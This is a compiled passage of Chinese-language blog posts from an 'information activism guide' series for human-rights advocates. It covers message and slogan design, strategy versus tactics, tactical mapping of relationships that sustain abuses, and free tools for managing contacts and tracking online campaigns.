例如，如果您正在解决气候变化问题，而您获得了一份政府报告，其中指出一些大公司可以通过出售他们的“碳排放许可证”来获利，而不减少他们的实际碳排放量，那么您需要告诉人们这样做是错误的。“最大的企业污染者将从碳交易中获利”。然而在没有其他具体证据的情况下，这样做会有误导性。您应该寻找多种来源，并在必要时寻求专家的帮助，以确保您的信息清晰、真实，经得起批评。

您还需要确保你的信息容易被受众理解。您的信息应该尽可能的简明扼要，只保留最相关的要点，以达到清晰的目的。这也将有助于信息的 “粘性”。

一个好的信息还应该在情感上具有吸引力。通过与受众的核心价值观相联系，引发强烈的情感反应，您将能够激发新的行动和行为。

📌 请注意：确保您明白什么是口号、什么是信息，两者之间有很大区别！

您的信息是您想传递给受众的要点。而您的口号只是装扮它的包装。一个信息可以有多个口号，而一个口号一般只与一个特定的活动有关。

口号要特别简洁，不要超过一行字。这对令信息成为热门传播的目标来说至关重要，它会让人们愿意谈论您的反抗目标、传递您的倡导、将您的信息发布到社交媒体上。幽默、创新、大胆或令人难忘的口号，更有可能 “流行” 起来，从而带动更大的行动可能性。

例如，环保倡导组织雨林联盟的下面这段视频所传达的信息，其目标是围绕雨林保护问题提高人们的意识，并敦促人们采取行动，只购买经过认证的产品。这个视频的口号是 “Follow the Frog”。

很不错吧！活动家作为倡导者应充分展现您的魅力。

一旦您为您的视觉媒体创造了一个信息，您就应该在代表您的目标和/或参与者社区的受众中进行测试，看看他们如何回应。

贴士 ~ 创造有效的信息

「图」

当国际乐施会想创造一个信息，以鼓励人们向富有的政府施压，要求政府投资于发展中国家的教育时，他们采用了表明教育可以减少贫困的证据，并制定了这个信息 —— “基础教育有助于打破贫困的恶性循环”。

然而，当他们在焦点小组的听众中测试这一信息时，发现它并没有激励人们采取行动。而另一个简单的信息得到了更强烈的反应 —— “教育是每个儿童的基本权利”。

您也应该进行这样的测试，避免您的团队自己觉得满意的信息，而对

受众来说可能触动不大。

呼吁采取行动

「图」

您为支持您的倡导活动或直接行动项目而制作的所有信息都应该明确说明您希望人们采取什么样的行动。

虽然您的信息可以引起人们对您的倡导活动或直接行动项目的关注，但这种关注本身并不能带来改变，仅仅是口头支持；那么您就必须对您的“行动号召”设计上采取更强的战略性，只有行动才能带来您所希望的改变。

推荐一个网站您可以参考：Respect My Rights，这是由大赦国际创建的反贫困运动的网站：行动（通过多媒体剪贴簿将你的声音加入到反贫困运动中）与信息（提高人们对贫困是全球重要人权问题的认识）相吻合。

📌 您的行动呼吁应该至少做到：

- 要有行动力！它不应该是人们觉得极难做到的事，不应该有明显的门槛
- 您需要建议您的受众任何通过直接和具体的方式参与其中
- 还要为不同程度的参与提供选择；并不是所有人的状况都一样，您的动员不仅不应该显示参与门槛，并且需要尽可能让不同水平的人们都可以在这里找到发挥自己特长的参与点

我们将上传一份战术手册的中文版，您可以作为参考。在这里下载：https://www.patreon.com/posts/xin-xi-xing-dong-45056786

在下一集中我们将从简单的战略效能方法论开始，并具体分析步骤和做法。我们下次见！○

—— 未完待续 ——

原文

确定变化的杠杆：信息行动主义指南（2）- 战略效用 - iyouport

信息行动主义

【 2021年4月5日存档】行动主义从来不是盲目的。这是一场战斗，行动者需要将军的头脑

欢迎回来！

如果您错过了前面的部分，可以在这里回顾《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》。

📌 本系列的工作是帮助人权维护者更成功地推动和创造变化。为此，您需要一些提高战略效力的方法，以帮助您制定具体的工作战术，然后为可以支持该战术的策略提供灵感和想法。

战略和战术

「图」

个人和组织可能会以不同的方式使用 “战略” 和 “战术” 这两个词。 了解它们是什么、以及它们之间的联系，对您工作的成功是很重要的。

要实现一个目标，您需要一个战略。为了实施您的战略，您就需要战术。战术是帮助您实现战略的具体行动，这样您就可以实现您的目标了。

比如，反监视是您的目标，那么让监视失效和令其发展难以为继，就是您的战略；所以，加密、隐写、分身、假人等等，都是您的基本战术，先保证监视无法瞄准您，然后您才可以进一步瓦解它 —— 创建您的行动主义，让监视技术无法盈利，失去经济利益支柱。

您的目标是什么？先确立目标是一切的根本。

任何人都可以使用战略和战术来实现自己的个人或组织目标。本集内

容将专注于帮助您理解如何使用战略和战术 —— 通过 *有效地* 应对人权挑战来创造变化。您可以与您的团队一起确定您的战略和选择有效的战术。

战略 ——

「图」

📌 战略是许多决定的集合，比如确定目标、和您试图影响的群体。它是一个解决问题的整体计划或方法。

您的战略是：

- 界定为了达到目标需要做的重要事
- 指导您的总体行动计划，包括关键目标的选择
- 决定战术的选择和操作
- 跟踪进展情况，评估您所使用的战术的有效性

战术 ——

「图」

战术是执行或实施您的战略的具体行动。

您的战术：

- 可以是任何事件或行动，从街头戏剧、到揭示真相的透明度革命、再到和解委员会等等
- 它是一个更大的战略计划的一部分
- 可单独使用或与其他战术一起使用，以实现特定的目标或结果
- 战术将需要随着时间的推移而改变，这取决于您的战略、合作者、志愿者和资金

战术将行动融入战略。没有战术或行动，您可能无法实现你的目标。下面是一些示例，可以帮助您了解策略和战术之间的关系。

示例1：旅行

「图」

我们每天都在不知不觉中以非常简单的方式使用战略和战术。例如，

如果您计划从北京到突尼斯旅行，您需要一个战略来到达那里。

- 战略* 包括回答许多问题，比如，您计划如何旅行（飞机、船等）？您有什么资源？您需要什么时候到达那里？

如果您决定乘飞机旅行，那么购买飞机票的 *战术* 可以是：

- 打电话给旅行社
- 使用特定航空公司的网站
- 使用一个综合网站，比较不同航空公司的价格

示例2：找工作

「图」

也许您的目标是找到一份新工作，作为财务稳定的长期计划的一部分。您可以采用几种不同的 *战略* 来找工作，包括：

- 利用您现有的技能去找一份新工作
- 成为一个新行业的学徒
- 上大学换个职业

如果您决定在不同的工作中使用您目前的技能的 *战术*，那么您的战术可能包括：

- 更新您的简历
- 告诉您的朋友您想要一份新工作，这样他们就可以帮助您
- 看报纸或互联网上的招聘信息

在这种情况下，和大多数情况一样，您可能会使用一些不同的战略作为您找工作战略的一部分。而在这个过程中，您可能会决定有些战术并不奏效，所以您会放弃某些战术，尝试新的战术。

示例3：打击政府腐败

「图」

假设您的总体目标是减少政府的腐败。比如一种战略可能是通过一项法律，规定被判腐败的人将面临严重的后果。这个战略需要您考虑如何说服立法者投票支持这项法律。战术将是一些具体的行动，比如：

- 起草一份法律样本，提交给立法者
- 安排给立法者打电话的活动
- 围绕被传为腐败的官员策划示威活动
- 找出那些似乎对建立一个更加民主的政府感兴趣的人，并为每个人量身定做一种方法

选择和运用战术

「图」

📌 战术是指为影响特定情况而采取的特定行动或行动组合。战术是推动战略发展的行动。没有周密计划的战术的战略将会失败。

为什么这很重要？

1、您需要知道该怎么做才能真正影响您想要实现的目标。如果您的食谱只有一个菜，那您就只能做这个菜了。但如果您的食谱上有上百个菜，您就有更多的选择关于可以吃什么。别饿到自己。

2、不同的战术对不同的目标和不同的情况都是有效的。试图在警察部门创造变革，与在学校创造变革需要不同的方法。

3、不同的战术可以对不同的群体和社区有吸引力。例如，大学生和律师有不同的兴趣，参与不同类型的活动，您所要做的就是，用特定的战术去吸引特定的目标群体。

4、拥有广泛的战术选择，可以让您灵活运用，给对手一个大惊讶。您一定下过棋，所以您会知道，当对手无法预测您的下一步行动时，就是您的胜算机会。

5、战术教会人们如何通过思考一种情况并参与改变它的方法来参与世界。就像一个音乐家学习一首新的乐曲，随着我们的练习，它会变得越来越容易。

6、战术为更多的人提供了参与的机会。作为一个行动系统，战术为许多人创造了参与、学习和更加致力于人权工作的机会。

选择战术

「图」

📌在回顾您可能使用的战术时，先问自己几个问题：

- 我曾经见过或使用过这样的战术吗？
- 我可以使用这种战术的某些部分吗？
- 这种战术可能会帮助我的组织做到什么？
- 这种战术如何帮助我实现目标？
- 这种战术对我的组织或我来说有多大的风险？我是否准备好接受这一战术所涉及的风险水平？

这些只是在使用一种战术之前需要考虑的几个最基本的问题。在您决定使用一种战术之前，请问自己这些问题 —— 并回答更多的问题。

和您的亲密团队一切讨论，永远是最好的。别忘了我们尚在进行的另一个系列《整体安全》，该系列中涉及的练习和知识可以帮助您构建一个稳定的并不断发展的行动主义团队。此处链接为目前为止更新的最后一集，其中包含过往内容列表。

战术映射

「图」

正如孙子所言，好的战略是基于三种知识来源：了解对手、了解自己、和了解地形。但是，如果对手不是在特定地理区域内战斗，而是在复杂的社会结构中战斗，人们如何理解“地形”？

📌“战术映射”是一种可视化地形的方法，一旦了解了地形，它就可以用作制定更全面战略和与盟友协调的规划工具。

人权战术映射

「图」

战术映射是一种将关系可视化的方法，其中的节点是所有机构，它们围绕着侵犯人权行为从中受益，从而有绝对的动力维持人权侵犯。

📌 重点是人与机构之间的关系（而不是侵犯人权的概念或“原因”）。通过这些关系，可以制定决策，提供或取消激励措施，并采取行动。因此，绘制这些关系的图就可以代表社会空间。

勾勒出这张图后，行动者就有可能选择最适当的干预目标，并勾勒出影响所关注问题的可能战术。

因此，该图生成的是一个流程，以计划和监视战术如何发挥作用、以及应该影响哪些关系以进行有效的干预。

📌 由于多个团队可以使用该图来绘制各自的目标和干预措施，因此战术映射成为了一种协调工具，它可以创建比团队独立行动时更全面的战术。

下面我们提供简要概述，以帮助说明和概念化战术映射中包含的各种关系。

战术映射的发展

「图」

战术映射技术是酷刑受害者中心发起的“人权新战术”项目的一部分。该项目为人权倡导者开发了一些实用的资源，包括在线可搜索数据库，“战术笔记本”，培训课程等。

1998年，在欧洲安全与合作组织（OSCE）的支持下，CVT组建了一个专家工作组，以考虑解决酷刑的持久性问题。该小组首先关注酷刑者与受害者之间的关系，以及如何嵌入、维持和保护这种的双向动力。

该小组首先考虑了受害人与犯罪者之间的关系，以寻求可能的干预途径。它确定并图解了从本地到国际的400多种关系，并绘制了详细的映射。

在绘制了这些关系之后，工作组列出了防止酷刑的现行战术，并使用该图来了解这些战术是否能真正阻止形成酷刑的“主要关系”。

例如，大赦国际向国家元首发送信件的方法，假定了一系列关系以及国家元首一直对镇压部队产生影响的能力。通过遵循这种关系链，团队还推测出了可以在何处削弱其兵力的方法，并考虑了针对这些破坏点的其他加强性战术。

📌 通过描绘这些巨大的关系网络，可以清楚地看到，侵犯人权行为是由复杂的关系系统维持的，这些系统相互加强、并支持暴政的整体角色。其中一些关系是分层的或结构化的；其他的则是非正式的 —— 这些关系中的每一个都应该被配置潜在的干预手段，需要符合其特点的特定战术才能发挥最大作用，以阻止酷刑。

在任何复杂的系统中，有限的战术只能影响狭窄的目标。没有协调的努力，系统的其他部分可以自由地使用其资源来保护处于压力之下的目标。

如果不能将侵犯人权行为归结为一种战术，并且，如果大多数反抗组织只能采用一种或两种应对战术，那么打击侵犯人权行为就需要更大的协作战术，以破坏嵌入这些行为的关系系统。战术映射过程还提供了一种洞察力，即 当我们了解战术如何协同关联或彼此冲突时，找到形成更协调性战略的方法。

📌 反抗组织假设战术映射中的每个关系都是发起一项行动计划的潜在目标，但并非所有战术都适合每个行为者。这要求有更多选择可用的战术，这是制定人权新战术项目的主要动力。

在各种与人权参与者进行的培训讲习班中，战术映射绘制工具都是重点讲授部分，它帮助确定了各种关系并制定了应对多种侵犯人权行为的有效战术。

战术映射是如何起效的

「图」

战术映射有助于更深入地了解问题，例如：

- 问题中涉及的关系的复杂性；
- 潜在的干预目标点；
- 潜在的盟友和对手；
- 改进战术计划（当前和潜在的）；
- 跟踪战术有效性以推动战术前进的能力；
- 增强战略和战术调整的能力；
- 盟友及其战术贡献的协调

本文中的图通过说明各种交互级别的关系提供了映射过程的示例。例如，映射过程始于在识别出的中心级关系中识别直接的 “面对面” 接触。从最能代表问题的具体关系开始很重要。在绘制了面对面的关系之后，请确定相距较远的但对本地、国家、区域、甚至国际层面的中心级关系有兴趣、有投资、或产生有效影响的关系。

尽管通用该关系图本身就提供了见解，但该方法的真正价值在于其对特定问题、国家和地区的应用。📌 反抗者在关系图绘制过程中掌握的知识越多，他们对问题和解决方案的见解就越深刻。

在收集信息时，特别是对于地方或国家级的战役，负责人应创建一个“数据库”，以监视关系图中每个节点的关系范围变化。关系的性质也应该指出：它是影响力、还是命令或控制？是关注、还是敌意或竞争？第一项任务是绘制关系的内部“圆”。这些关系最靠近中心，并且与中心具有直接的面对面关系。

基于通过数据收集发现的更改重新绘制可视化映射的功能，有助于监视进展区域，以及新的反抗机会或对您的运动的威胁。

对问题的发展建模

「图」

当人们行动起来时，就有希望改变这个世界。有时候，采取行动会使反抗者变得更坚强；有时它有助于个人与组织结盟以更好地捍卫人权。在某些情况下，只有机构内的人员会发生变化。在其他情况下，机构会制定新的任务和政策。战术映射侧重于个人和机构，而不是概念。有些想法在抗议运动期间会随时间的流逝而改变。了解个人及其与他人的关系的本质，您需要进行调查、研究和战术上的灵活性。

📌 为了令其效力能够最大，战术映射必须是动态的并不断更新的，以获取洞察力，以计划和检测战略与战术的有效性。从研究的角度来看，战术映射过程可以在现有和将来的环境中提供具体的、可重用的信息。

以下是动态映射的一些应用：

- 它用作监视特定战术实施情况的文档工具，使参与者能够确定优势和劣势点，以动态部署资源和活动。
- 通过提供其他参与者可以在类似情况下使用的关系网络图和相关战术的资料库，映射绘制工具可为观测更大范围内的背景提供机会，从而在整个人权社区内产生战略思想

第二项任务是绘制影响中心的关系（椭圆形）；第三个任务是绘制影响中心关系的国际关系或外部关系（矩形）

通过确定涉及人权问题的复杂关系，反抗组织可以从此类研究系统中受益匪浅。通过将这些信息与战术映射工具结合起来，民间社会组织和国际组织可以更好地利用这些数据来制定更全面的战略以打击侵犯人权的行为。

战术映射一旦“完成”，就可以开始“制定战术”，并了解每种战术预期会影响哪些关系以及如何影响。

绘制关系并确定当前和潜在战术的过程，可对给定情况下的局势进行诊断，包括围绕侵犯人权行为的关键关系，现有战术的影响以及需要干预的其他目标。

考虑到酷刑实施者在组织、职业和社会上都是相互联系的，为了在这些各种关系中创造变化，重要的是要了解：哪些个人或组织可以做到或已经做到这一点。例如，一种战术可能针对酷刑者在警察工会或协会中的成员身份，这反过来又可能提供机会使他们可以跨越国界参加专业协会工作，于是需要同时在内部和外部施加压力。

使用基层的简单工具就可以绘制这些关系图：比如拉绳和便利贴，或用彩色笔在纸上画出来。例如，爱荷华州大学的学生使用便利贴方法来强调对校园性骚扰事件的关注。战术映射工具为经验丰富的人权倡导者和学生提供了一个很好的媒介，可以帮助他们分析地形并确定采取的行动方案。

📌 开发更多技术工具（例如数据库系统）来容纳所收集的研究并将大量信息提供给战术映射程序，将大大提高人权领域发生重大变化的适应性和响应时间。

这些环境中的每一种都需要进行持续的研究，以了解参与侵犯人权行为的系统和人员，这意味着包括做出错误决定的人以及可以保护人权的人。当然，当地的活动家已经开始收集这些信息。与社会学家，政治学家和其他学者建立合作伙伴关系可以帮助加强这项研究 —— 这就是我们在年终访谈中强调的知识分子合作能力。关于如何使用战术映射来描述国家级组织的内部和外部关系的示例

最后

「图」

利用工具进行彻底的分析是一个重要的和必要的过程，通过这一过程，人权维护者可以更好地理解：

- 背景 —— 包括造成这种情况的人和组织；
- 您自己的优点和缺点；
- 您的盟友和对手。

这对您的战术选择至关重要。

战略效能方法论共分为5个步骤：

步骤1：找出问题 —— 您想改变什么？您想要解决哪种侵犯人权的问题？

步骤2：创造一个愿景 —— 您希望未来有什么不同？在您的工作中，是什么在激励着您？您如何知道您的努力是成功的？

步骤3：绘制您的地形图 —— 您如何评估自己的处境？哪些个人和群体与您所要解决的这个问题有关？这些个人和团体之间的关系和互动如何？他们的目标是什么？

步骤4：探索战术 —— 您的重点是什么？哪些战术可以产生最大的影响？

步骤5：采取行动 —— 您将如何把这些战术整合成一个计划，从而实现您的目标？

📌 这5个步骤构成了一个完整的行动主义战略工具包。

在我们的观察中，目前为止大多数中国的异议人士仅仅接触到上述第一个步骤，并且仍不够透彻。于是我们认为，中国异议人士尚且没有行动主义战略。这正是我们提供这些内容所希望弥补的东西。

在接下来的教程中我们将依次分析其中的每一个步骤，并给出案例说明。

行动要从清晰的头脑开始，如果您真的想要获胜的话。下次见！○

原文

社交媒体情报技巧帮助您在行动中更具效能：信息行动主义指南（3）- 工具和注意事项 - iyouport

信息行动主义

【2021年4月8日存档】您需要时刻关注您的战术实施所展现出的成效，当成效不理想时，及时调整或补充您的战术布局。

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》

此前我们对社交媒体情报的介绍和分析主要关注它的危险性和防御方法。比如这里、这里、还有这里；在我们的网站上搜索 “社交媒体情报” 以找到更多内容，包括很多工具库。

这是由于社交媒体情报在警方抓捕抗议者和异议人士方面的使用非常频繁，在全球范围内惊心动魄。

但是，社交媒体情报或者说开源情报，绝非只有这一种用法。我们曾经有过说明，见《这不是一场竞技表演：关于IYP为什么要采取开源情报》。而本集内容将展示的是开源情报在信息行动主义方面的使用。

📌 信息行动主义侧重于使用信息作为战术的重要部分，这里的信息指的是多方面的，既包括您自己、您的队友、支持者、同盟、潜在的招募对象，也包括您的对手和针对目标，还包括放大和引导舆论的媒体。所以，您需要时刻关注您的战术实施所展现出的成效，当成效不理想时，及时调整或补充您的战术布局。

社交媒体情报就是您的必备武器。请注意，您的行动主义是正义的目标，于是您绝不能像当权者那样使用这一武器 —— 绝不能让您的信息采集和监测暴露您的盟友和支持者的身份，并且还要对您的战略布局具有指导性价值；安全性是您必须考虑的部分。

这里将延续的是第1集中的内容。

「图」

要领3：协同工作，建立您的网络

「图」

任何组织都必须发展网络建设技能。这些技能将帮助您扩大您的行动主义信息的覆盖面、动员志愿者、跟踪活动的出席情况、分发信息、和管理现有成员。

尽管建立网络和管理网络是相辅相成的，但它们并不完全是一回事。尽管现在有了更复杂的社交媒体工具作为补充，但扩大人脉网络的老方法在很大程度上仍然有效。

📌 见面是第一步，但您如何将这些人留在您的网络中，让他们对您的问题感兴趣？更重要的是，您如何接触那些您没有时间、没有资源或潜力亲自见面的人？

建立一个联系人数据库

「图」

答案在于建立一个数据库。创建一个联系人的电子表格是一个好的开始。绘制出姓名和基本联系信息，并思考其他类型的字段，例如，可以收集的有用的信息：

- 志愿者的兴趣
- 捐助史
- 出席的活动
- 技能的组合
- 注册了哪些通讯 …… 等等。

📌 想一想您为什么要跟踪这些信息，以及这些信息对您的工作有何帮助。也要考虑您的组织中哪些队友需要访问这个数据库，何时访

问，以及如何适当地保护它，使这些个人信息不被泄露。

有几种方法可以为您的事业招募新的支持者。您可以主动地说服他们 —— 亲自出席会议、集会、抗议活动等；或者您可以被动地或匿名地、在线或离线地这样做。至少：

- 始终在你的电子邮件签名中附上你的网站或您从事的事业；
- 在你的网站上创建一个联系方式，或一个通讯订阅选项；
- 利用现有的社交网络，创建一个代表你的组织或事业的 Facebook 页面或 Twitter 标签。

人们往往觉得实名身份的动员是最有效的，这有一定道理，因为支持者可以清楚地查询到自己在跟随什么人。但并非完全如此，想想匿名者组织的全球运动？事实上您的行动本身就是您的身份 —— 当人们知道匿名者组织的主张和他们对这份主张所采取的行动力时，人们就已经知道自己在跟随谁了。

您需要合理地策划最适合您的方案，至少遵循这里的基础思考方式：《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》。

📌 在一个活动或社交网络动员的早期阶段，达到 “临界质量” 对于聚集足够的动力使其持续前进，至关重要。试着制定招募目标，并思考如何达到或动员这个数量的人群。

【注：临界质量是个核物理术语，指维持核子连锁反应所需的裂变材料质量。不同的可裂变材料，受核子的性质、物理性质、物料型状、纯度、是否被中子反射物料包围、是否有中子吸收物料等等因素影响，而会有不同的临界质量。 刚好可以产生连锁反应的组合，称为已达 “临界点”。这里使用它的寓意。 】

管理您的联系人

「图」

电子表格是必要的第一步，但在某些方面它有局限性：比如 对联系人的交叉分类的限制，无法从任何地方共享和访问，以及难以自动完成某些任务，如批量发送电子邮件等。

有更先进的程序可以很好地管理联系人网络，并将这些联系人整合到您的组织工作流程中。

比如，CiviCRM 是一个免费和开源的软件工具，可以用来管理您的关系网络。它是一个客户关系管理(CRM)系统，面向非营利性组织和公民组织的需求，并被设计成一个集成的套件，开箱即用。它可以发送和跟踪大量电子邮件的回复，并用于帮助计划活动和筹款。

像通讯录一样，CiviCRM 在数据库中组织参与者的联系信息，但它也跟踪与人们的互动（发送的电子邮件，回复的电子邮件，参加的现场活动等）以及人们之间的关系。

📌 尤其是，CiviCRM 将这些数据存储在您自己的网络服务器上，这意味着您可以安装安全系统以确保信息的私密性，您可以在任何有互联网连接的地方访问它。

优点——

- 一个执行复杂任务的免费工具，背后有一个良好的社区支持；
- 提出了适合于基于互联网的组织的任务框架；
- 自由开源软件；

缺点——

- 你可能需要技术队友的帮助。

资源 ——

- 用户指南在这里

备选方案 ——

- http://www.drupal.org

要领4：跟踪您的信息行动的覆盖面

「图」

在您用于信息行动主义的在线平台和服务中，大多内置了分析工具，使您能够了解谁在访问您的在线活动、以及他们如何使用您希望传达的信息。

利用各种免费工具，您可以跟踪您的活动信息的传播，跟踪围绕您的活动议题展开的公众对话，并观察您的目标、盟友、和反对者的在线行为。

📌 在您开始之前，请问自己以下问题：

- 您的倡导活动是否有一个独特的、简短的、容易记住的口号？这将使您更容易跟踪分析您的信息是如何得以传播的。
- 您是否可以使用RSS订阅，让支持者通过您的网站跟踪您所倡导的问题的演变，并进行订阅，与您的倡导活动密切相关的关键词可以在您的网站上自动显示吗？
- 您的支持者和盟友的哪些行动对您来说是重要的、需要您及时了解的？
- 还有什么重要的事情需要您密切关注？例如，公众对您的倡导活动或议题的热议？密切关注强大的盟友，以便将他们彼此联系起来？
- 如果您需要追踪的信息在网上无法获得，您如何找到其他来源？
- 如何才能在不影响网站安全和受众隐私的情况下获得所需信息？如果您的日志丢失或被查封，IP地址可以显示位置和其他识别性信息。需要特别注意这点。

请尽可能准确和充分地回答上述问题，这对于您的战术策划至关重要。

您将跟踪和分析什么？

「图」

1. 您自己的活动信息

「图」

在线跟踪您的信息涉及到监测其他行为者—— 主流媒体和独立媒体、与您的行动目标相关的政策制定者、非政府组织和社区组织，以及任何其他以在线搜索方式讨论您的信息的人—— 如何、在哪里、和何时提到您的信息。

如果您的活动信息是以简短、独特的口号来传达的，那就更容易在网上进行追踪。所以，设计口号是需要技巧的。

2. 您的活动所要解决的问题

「图」

您可以使用许多与您跟踪自己的信息相同的方法来跟踪您所倡导的问题的广泛演变。您意味着您的战术的成效。

追踪这个问题还可能涉及监测一系列在线媒体，如新闻声明、报道、公开会议公告、在电子邮件列表上传播的会议记录、以及社交网站上的非正式讨论等。

3. 您的目标、盟友和对手

「图」

通过监测您确定为目标、盟友或反对者的个人和组织的网站，您可以评估他们对您的倡导活动的反应，跟踪他们在媒体和特定活动中的出现，并跟踪他们的倡导信息和行动。这将使您可以向目标和盟友提供 *最相关* 的信息或支持，以更好地吸引他们，并快速有效地反驳对手的论点。

在行动中的分析

「图」

A 追踪自己的信息

「图」

气候变化运动 350.org 通过跟踪对其 Facebook 帖子和博客的评论，注意到他们在 Facebook 上收到了更多的评论。Facebook 和其他社交网站的特点是，每当有人对你的帖子发表评论时，就会给你发邮件。这样，你就可以跟踪人们对你的信息的吸收和回应，并对使用不同的在线平台和服务的价值和效果做出决定。比如如果一个信息传播平台对您的信息反馈效果很不理想，您就应该考虑换一个平台/在线社区。

📌 以下的在线分析工具也可以帮助您衡量有多少人下载了您的活动标志、多少人发布了记录您的活动所组织的抗议或行动的照片、多少人在他们的博客上分享了您的宣传视频，或向朋友或政策制定者发送了关于您的活动的电子邮件。

1、Google Analytic—— Google Analytics 可以让您衡量有多少人访问了您的网站，他们是从哪些网站转到您这里来的，他们在您的网站

上花了多长时间，他们阅读了哪些页面，以及他们在哪个页面上进行了点击。

您需要能够在您的网站上添加一个由Google生成的 JavaScript 代码，以便 Google Analytics 能够跟踪您的访问者。

请注意，收集到的数据会保存在谷歌的服务器上。如果您介意这点，或者您的倡导活动与反寡头监视资本主义体制有关，请谨慎使用它。

2、电子邮件提醒—— 许多社交网站都允许您接收电子邮件，当有新的人将您添加为好友或联系人、或对您的内容进行评论、或给您发送私人信息时，邮件会通知您。如果您为这些提醒设立了一个专门的电子邮件帐户，您就可以与您组织中的其他人分享这些提醒，并避免您的常规电子邮件帐户负担过重。

4、AWStats/JAWStats—— AWStats 是一个免费的和开源的网络流量分析工具，它可以跟踪有多少人访问您的网站。JAWStats 是一个与 AWStats 一起运行的插件，可以生成更易读的报告。这个软件必须安装在您自己的**web**服务器上。

5、ClickHeat—— ClickHeat 是一个免费的和开源的网络应用程序，它可以生成人们在访问您的网站时点击的位置的可视化图表，这样您就可以看到页面的哪些部分是最有吸引力的、容易阅读的、或可以有效地动员您的访问者采取行动的。以此数据来更新您的信息行动主义战术。

B 追踪您发起的运动所要解决的问题

「图」

2008年恐怖袭击期间，孟买的人们利用 Twitter 发布现场报道。通过在 Twitter 上搜索“#mumbai“ 一词，其他人—— 即使是那些不在孟买的人—— 也可以追踪当前的新闻，组织对求助电话的回应，并将孟买的人们联系起来。

对于活动家来说，标签可以是一个很有用的工具，但您需要注意一些问题，具体解释见《推特标签讲述的故事：解码秘密（8）》。

📌 以下工具可用于在线跟踪问题，让您了解最新的发展情况，以便在必要时做出回应。

1、Google Alerts—— 谷歌快讯支持您搜索任何问题的报道，包括数字化的印刷媒体以及在线媒体和博客文章。通过电子邮件或RSS订阅提醒，您可以在出现了带有您想要的主题的信息时获得更新。

2、RSS阅读器（如 Netvibes、Feedly 或 Reeder 等）—— 允许您订阅任何网站上发布的聚合内容（如博客文章、播客或视频），并在发布后立即看到。

3、推特 (Twitter)—— 允许您及时获取想要的内容，允许您更容易观察人们在Twitter上关于您的问题的言论，通过使用关键字搜索或提及活动的 Twitter 用户名等方式，也就是社交媒体情报在活动家中的用法。

您可以跟踪对您的信息的回复，并通过标签（#）跟踪关键词搜索，这使得相关帖子更容易找到。

对于如何更好地通过推特以及其他社交媒体平台搜索想要的内容的社交媒体情报工具有很多，您可以在这里看到：

- 《社交网站上进行新闻收集和监视的基本指南》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《深挖推特：提供技巧、工具和平台》
- 《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）》
- 《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 《20个最好用的在线侦查工具和数据收集工具》
- 《超级情报收集工具库》

4、HootSuite—— HootSuite 内置分析工具，可以追踪有多少人引用或回复您的 Twitter 帖子。

C 追踪您的目标、盟友和对手

「图」

比如为了开展制止暴力侵害性工作者的全球行动日活动，人权团体需要跟踪国际媒体来源对多种语言的反应。由于有这么多不同的媒体来源需要在线跟踪，就需要在每种语言中设置关键词搜索提醒，以跟踪有多少媒体机构报道了这一行动日。其中一个方法是使用 Google Alerts。

📌 以下工具可以帮助您追踪目标、盟友和对手的在线行为。

1、RSS源（或其他聚合源）—— 在许多内容由用户生成的网站上，对特定关键词的搜索结果可以进行订阅。例如，您可以将基于关键字的视频和照片共享网站（如 Flickr）搜索添加到您的RSS阅读器中，并自动查看与这些关键字相关的新文章。您还可以关注目标、盟友和对手网站的RSS源。

2、TweetDeck—— 您可以使用 TweetDeck 以帮助更容易跟踪您所关注的 Twitter 账户和话题，将它们分为不同的组，例如，盟友、政客和媒体等。

3、CiviCRM 和 SugarCRM—— CiviCRM 和 SugarCRM 是关系管理系统，允许您从您的网站或从电子邮件中跟踪人们采取的行动，例如，如果用户或收件人发送电子邮件给目标，转发电子邮件给朋友或签署一个请愿书。

4、wordart —— wordart 允许您从提供的文本中生成 “词云”。这些词云会更加突出那些在源文本中出现频率较高的单词。您可以使用这个工具来分析一个组织关注一个目标问题的方式，从他们的新闻稿、演讲、报告或网站中创建一个词云。

下一集中我们将开始关注开展有效的数字信息行动的战术和实用技巧，目标是，让您的行动尽可能更富成效。下次见。〇

—— 未完待续 ——

原文

让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧 - iyouport

信息行动主义

【2021年4月23日存档】一些活动家很卖力，但他们找错了方向 —— 诉苦和警示可能都不是能帮助您获得支持和联合的模版；大众喜欢有趣的东西，只有先吸引到人们，您提出的议题才有机会被阅读、进而被思考

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》

关于本系列的目标，见下图：

活动家的信息行动如何才能是有效的

「图」

有效的数字媒体信息行动是指那些旨在吸引目标受众或目标社区的注意力，激起或激励他们的活动。

📌 一般来说，这些活动都是在能够最大范围地接触到人们的平台上进行的，或者劫持现有的普遍性平台，如广告或流行文化的出口。它们可以由较小的群体策划，但却能影响到更大的群体，虽然不一定直接激起目标群体的行动，而是更注重唤醒人们对一个被隐藏的严重问题的关注和思考。

在本节中，您将了解到您可以在此使用的方法，包括：

- 通过创造力和幽默感引起人们对某个问题的关注、或绕过审查；
- 使用久经考验的基于打印的技术离线创建影响力；
- 让您的信息在大众媒体的海洋中脱颖而出。

我们将分头介绍。

干扰信号：创造性信息行动

「图」

